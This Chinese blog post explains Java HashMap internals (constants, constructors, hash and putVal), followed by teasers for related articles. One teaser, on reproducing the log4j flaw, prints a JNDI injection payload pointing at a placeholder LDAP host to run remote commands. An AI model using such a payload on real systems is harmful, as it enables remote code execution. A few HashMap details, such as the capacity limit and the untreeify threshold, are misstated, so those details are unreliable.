Map源码解析

基本介绍

其实HashMap底层是个什么东西我们之前也讲过, 就是一个哈希桶(差不多可以看成一个数组), 然后每一个节点又连接着链表/红黑树之类的, 下面让我们看一看具体在源码上是怎样实现的:

常量及其它

-> static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; 

//这个指代的是哈希桶的大小, 默认为16

-> static final float DEFAULT_LOAD_FACTOR = 0.75f;

//默认的负载因子 -> 0.75

-> static final int TREEIFY_THRESHOLD = 8;

//树化的条件之一, 就是指当一个节点上的链表长度大于8时(也不一定是8, 但跟8是有关的, 后面讲put的时候再说),就会从链表转换为红黑树

-> static final int MIN_TREEIFY_CAPACITY =  64;

//树化的条件之一, 就是指当哈希桶的大小如果大于64(数组的长度), 就会将链表转换成红黑树

-> static final int UNTREEIFY_THRESHOLD = 6;

//解树化的条件, 当红黑树的大小小于8时, 就会从红黑树转换回链表. 

-> static class Node<K, V> implements Map.Entry<K, V> {...

这段代码定义了一个静态内部类'Node', 该类实现了'Map.Entry<K, V>'接口, 表示哈希表中的一个节点, 用于存储键值对.

 构造方法

含指定容量, 负载因子的

     public HashMap(int initialCapacity, float loadFactor) {
        if (initialCapacity < 0)
            throw new IllegalArgumentException("Illegal initial capacity: " +
                                               initialCapacity);
        if (initialCapacity > MAXIMUM_CAPACITY)
            initialCapacity = MAXIMUM_CAPACITY;
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new IllegalArgumentException("Illegal load factor: " +
                                               loadFactor);
        this.loadFactor = loadFactor;
        this.threshold = tableSizeFor(initialCapacity);
    }

这个是提供了指定容量, 负载因子的, 玩家可以自行设置这两个参数. 需要注意的是在:

if(initialCapacity > MAXIMUM_CAPACITY) {}

这个中, MAXIMUM_CAPACITY是指1>>30, 也就是说当玩家设置的值大于这个值之后, 就会被设置为这个值(显而易见, 为了防止移除) 

含指定容量的

    public HashMap(int initialCapacity) {
        this(initialCapacity, DEFAULT_LOAD_FACTOR);
    }

这个很好理解, 就是当不给负载因子时, 就是默认的0.75, 然后通过this()调用上面的构造方法. 

俺一无所有

    public HashMap() {
        this.loadFactor = DEFAULT_LOAD_FACTOR; // all other fields defaulted
    }

这个就比较令人匪夷所思了, 它只有默认的负载因子(当然,还是0.75). 然后奇怪的是它居然没有给设置容量没事, 让子弹飞一会.

put方法

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

让我们先来看一下里面的hash()方法.

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里采用了将key的hashCode()值与h右移 16位取异或得到哈希值.

这种位操作目的是将hashCode()返回的高位和低位进行混合, 增加哈希值的随机性和分布性, 从而减少哈希冲突的概率.

再来看一下putVal()方法.

     final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null);
        else {
            Node<K,V> e; K k;
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
                e = p;
            else if (p instanceof TreeNode)
                e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
            else {
                for (int binCount = 0; ; ++binCount) {
                    if ((e = p.next) == null) {
                        p.next = newNode(hash, key, value, null);
                        if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                            treeifyBin(tab, hash);
                        break;
                    }
                    if (e.hash == hash &&
                        ((k = e.key) == key || (key != null && key.equals(k))))
                        break;
                    p = e;
                }
            }
            if (e != null) { // existing mapping for key
                V oldValue = e.value;
                if (!onlyIfAbsent || oldValue == null)
                    e.value = value;
                afterNodeAccess(e);
                return oldValue;
            }
        }
        ++modCount;
        if (++size > threshold)
            resize();
        afterNodeInsertion(evict);
        return null;
    }

不难发现在4, 5行中, 

if ((tab = table) == null || (n = tab.length) == 0)
    n = (tab = resize()).length;

我们发现当这个传来的哈希标为空/或者大小为0时, 会让表调用resize().

这里是resize()中的部分内容:

Node<K,V>[] newTab = (Node<K,V>[])new Node[newCap];
table = newTab;

 通过这个, 我们就可以得出结论, 在第一次put的时候, 哈希桶大小分配为了默认的newCap(其实是16).

继续分析putVal()方法中的剩余部分.

if ((p = tab[i = (n - 1) & hash]) == null)
    tab[i] = newNode(hash, key, value, null);

 在这里,  就是哈希表中插入新键值对的逻辑(就是哈希桶这个位置为空), 通过(n - 1) & hash的方式映射到数组索引i上, 这是因为 'n'应该是2的幂次方(即哈希表长度应该是2的幂次方), 才能保证哈希值均匀分布. 然后调用newNode完成了插入操作. 

p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
    treeifyBin(tab, hash);
break;

当需要插到链表/红黑树上时, 就需要通过尾插法插入, 在这里, 我们发现, 当链表长度大于 8 - 1时, 就会通过treeifyBin方法进行树化.  

那么到这里就讲完了(我讲的是比较爱考的), 其它部分如果感兴趣的话希望你们自己看看源码推理推理.

下了...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519827.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

springboot 在fegin调用中sdk集成主工程,A component required a bean of type.....

一 前景描述 1.1 总结 1.主工程启动类&#xff08;这里是FeginApp8081&#xff09;所在的路径&#xff0c;和调用sdk的类&#xff0c;这里是FeginJiekou接口类型&#xff0c;其所在目录和主工程目录启动一致。则不需要在启动加制定扫描注解。 主工程启动类路径&#xff1a;…

《C++程序设计》阅读笔记【4-指针(2)】

&#x1f308;个人主页&#xff1a;godspeed_lucip &#x1f525; 系列专栏&#xff1a;《C程序设计》阅读笔记 本文对应的PDF源文件请关注微信公众号程序员刘同学&#xff0c;回复C程序设计获取下载链接。 1 指针1.1 字符指针1.1.1 字符串的表示1.1.2 字符串的属性1.1.3 字符…

单片机之蜂鸣器

目录 蜂鸣器介绍 蜂鸣器的分类 发声原理分类 按有源无源分类 三极管驱动 蜂鸣器原理 音符与频率对照表 蜂鸣器播放130.8Hz的声音 仿真案例 蜂鸣器发声 电路图 keil文件 蜂鸣器播放音乐 歌曲数据获得 使用的频率 keil文件 蜂鸣器介绍 前言&#xff1a;蜂鸣器是…

【洛谷 P8655】[蓝桥杯 2017 国 B] 发现环 题解(邻接表+并查集+路径压缩)

[蓝桥杯 2017 国 B] 发现环 题目描述 小明的实验室有 N N N 台电脑&#xff0c;编号 1 ∼ N 1 \sim N 1∼N。原本这 N N N 台电脑之间有 N − 1 N-1 N−1 条数据链接相连&#xff0c;恰好构成一个树形网络。在树形网络上&#xff0c;任意两台电脑之间有唯一的路径相连。 …

深入理解Java异常处理机制(day20)

异常处理 异常处理是程序运行过程产生的异常情况进行恰当的处理技术 在计算机编程里面&#xff0c;异常的情况比所我们所想的异常情况还要多。 Java里面有两种异常处理方式&#xff1b; 1.利用trycatchfinaly语句处理异常&#xff0c;优点是分开了处理异常代码和程序正常代码…

如何在Ubuntu系统使用Nextcloud+Cpolar搭建可公网访问私人专属网盘

文章目录 1. 安装Docker2. 使用Docker拉取Nextcloud镜像3. 创建并启动Nextcloud容器4. 本地连接测试5. 公网远程访问本地Nextcloud容器5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定公网地址远程访问 正文开始前给大家推荐个网站&#xff0c;前些天发现了一个巨牛…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

C盘清理指南

1&#xff0c;临时文件清理 %TEMP%是Windows系统临时文件的环境变量&#xff0c;直接作为指令执行可以打开当前系统的临时文件夹。许多用户通过删除该文件夹中的文件来清理Windows的临时文件&#xff0c;但实际上这样清理并不彻底&#xff0c;我们可以有更轻松、安全的方法。风…

【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图

SCI&#xff0c;CCF&#xff0c;EI及核心期刊绘图宝典&#xff0c;爆款持续更新&#xff0c;助力科研&#xff01; 本期分享&#xff1a; 【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图&#xff0c;文末附完整代码。 1.环境准备 python 3 import proplot as pp…

Java流操作解析:深度剖析中间操作、终端操作与并行处理机制

文章目录 一、中间操作1.1 过滤&#xff08;filter&#xff09;1.2 映射&#xff08;map&#xff09;1.3 排序&#xff08;sorted&#xff09;1.4 去重&#xff08;distinct&#xff09; 二、 终端操作2.1 收集&#xff08;collect&#xff09;2.2 计数&#xff08;count&#…

leetcode热题100.跳跃游戏2

Problem: 45. 跳跃游戏 II 文章目录 题目思路复杂度Code 题目 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&#xff0c;你可以跳转到任意 nums[i j] 处: …

leetcode.24. 两两交换链表中的节点

题目 给定一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后的链表。 你不能只是单纯的改变节点内部的值&#xff0c;而是需要实际的进行节点交换。 思路 创建虚拟头节点&#xff0c;画图&#xff0c;确认步骤。 实现 /*** Definition for singly-li…

C++运算符重载如何模拟数学表达式,或模拟Python sympy和numpy

在人工智能数学基础一书中&#xff0c;下面是一题Python求函数极限的例子&#xff1a; 【例2.6】使用Python编程求 lim( x → 1) (x^2 - 1 / x - 1) ————————————————————————————————————————— import sympy from sympy import oo…

详细剖析多线程3----代码案例分析

文章目录 一、单例模式(校招中最常考的设计模式之⼀)1.1饿汉模式1.2懒汉模式 二、阻塞队列三、定时器四、线程池五、总结 一、单例模式(校招中最常考的设计模式之⼀) 单例模式是一种设计模式&#xff0c;其核心思想是保证一个类只有一个实例&#xff0c;并提供一个全局访问点来…

Three.js阴影贴图

生成阴影贴图的步骤如下&#xff1a; 从光位置视点&#xff08;阴影相机&#xff09;创建深度图。从相机的角度进行屏幕渲染在每个像素点&#xff0c;将阴影相机的MVP矩阵计算出的深度值与深度图值进行比较如果深度图值较低&#xff0c;则说明该像素点存在阴影 &#xff0c;因…

html5如何在使用原生开发的情况下实现组件化

我们知道如何在vue/react中使用组件化开发&#xff0c;那么如果只是一个简单的界面&#xff0c;一个HTML就搞定的事情&#xff0c;你还会去新建一个vue/react项目吗&#xff1f; 在使用原生HTML开发时&#xff0c;我们也会遇到一些常见的功能、模块&#xff0c;那么如何在原生…

【APUE】网络socket编程温度采集智能存储与上报项目技术------多路复用

作者简介&#xff1a; 一个平凡而乐于分享的小比特&#xff0c;中南民族大学通信工程专业研究生在读&#xff0c;研究方向无线联邦学习 擅长领域&#xff1a;驱动开发&#xff0c;嵌入式软件开发&#xff0c;BSP开发 作者主页&#xff1a;一个平凡而乐于分享的小比特的个人主页…

无锡国家集成电路设计中心某公司的单锂小电机直流电机H桥驱动电路

H桥驱动 L9110S是一款直流电机驱动电路&#xff0c;适合单节锂电池应用。输出电流0.4A。价格约3毛。 推荐原因&#xff1a; 某些人应该知道这个地方&#xff0c;大多数人应该不知道这个地方&#xff0c;所以推荐一下。 这个地方去过几次&#xff0c;某公司与某方走的“近”&…

在同一个局域网如何共享打印机和文件

1.在连接了打印机的主机上设置 1.1启用windows共享 打开网络与共享中心&#xff0c;点击“更改高级共享设置” 选择&#xff1a; “启用网络发现”“启用文件和打印机共享”“启用共享以便可以访问网络的用户可以读取和写入公用文件夹中的文件” 打开控制面板&#xff0c;选…

C#将Console写至文件,且文件固定最大长度

参考文章 将C#的Console.Write同步到控制台和log文件输出 业务需求 在生产环境中&#xff0c;控制台窗口不便展示出来。 为了在生产环境中&#xff0c;完整记录控制台应用的输出&#xff0c;选择将其输出到文件中。 但是&#xff0c;一次性存储所有输出的话&#xff0c;文件会…